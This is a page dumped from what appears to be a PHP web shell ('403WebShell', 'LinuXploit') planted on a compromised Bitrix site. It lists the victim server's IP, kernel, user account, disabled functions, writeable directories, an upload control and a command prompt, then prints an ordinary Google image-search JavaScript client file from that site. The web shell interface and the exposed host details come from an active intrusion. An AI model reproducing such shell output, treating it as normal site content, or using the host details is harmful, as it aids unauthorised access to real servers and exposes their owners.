%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.221.34.62
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/client/google_images.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.Client");


	/**
	 * Implements Google API client interface
	 * Implements singleton design pattern
	 * @constructor
	 */
	BX.Landing.Client.Google = function()
	{
		this.host = "https://www.googleapis.com/customsearch/v1";
	};


	/**
	 * Gets client instance
	 * @static
	 * @returns {BX.Landing.Client.Google}
	 */
	BX.Landing.Client.Google.getInstance = function()
	{
		return (
			BX.Landing.Client.Google.instance ||
			(BX.Landing.Client.Google.instance = new BX.Landing.Client.Google())
		);
	};


	BX.Landing.Client.Google.prototype = {
		/**
		 * Makes url for request
		 * @param data
		 * @returns {*}
		 */
		makeUrl: function(data)
		{
			data = typeof data === "object" ? data : {};
			data.key = BX.Landing.Client.Google.key;
			data.searchType = "image";
			data.rights = "cc_attributte";
			data.imgSize = "xxlarge";
			data.cx = "001784514362171586730:5nd_tu8dtbw";
			data.safe = "medium";
			data.imgType = "photo";
			data.filter = "1";
			data.num = "10";

			return BX.util.add_url_param(this.host, data);
		},


		/**
		 * Makes request
		 * @param {object} [data]
		 * @returns {Promise}
		 */
		request: function(data)
		{
			return new Promise(function(resolve, reject) {
				BX.ajax({
					url: this.makeUrl(data),
					method: "GET",
					data: data,
					onsuccess: function(res) {
						var response, error;

						try {
							response = JSON.parse(res);
							response = "items" in response ? response.items : [];
						} catch (err) {
							response = [];
							console.error(err);
							reject(err);
							error = true;
						}

						if (!error)
						{
							resolve(response);
						}
					},
					onfailure: reject
				});
			}.bind(this));
		},


		/**
		 * Gets photos by search string
		 * @param {string} query - Search query
		 * @param {int} [page = 1] - Number of page
		 * @returns {Promise}
		 */
		search: function(query, page)
		{
			page = (BX.type.isNumber(page) ? page : 1) * 10;
			return this.request({start: page, q: encodeURI(query)});
		}
	};
})();


Youez - 2016 - github.com/yon3zu
LinuXploit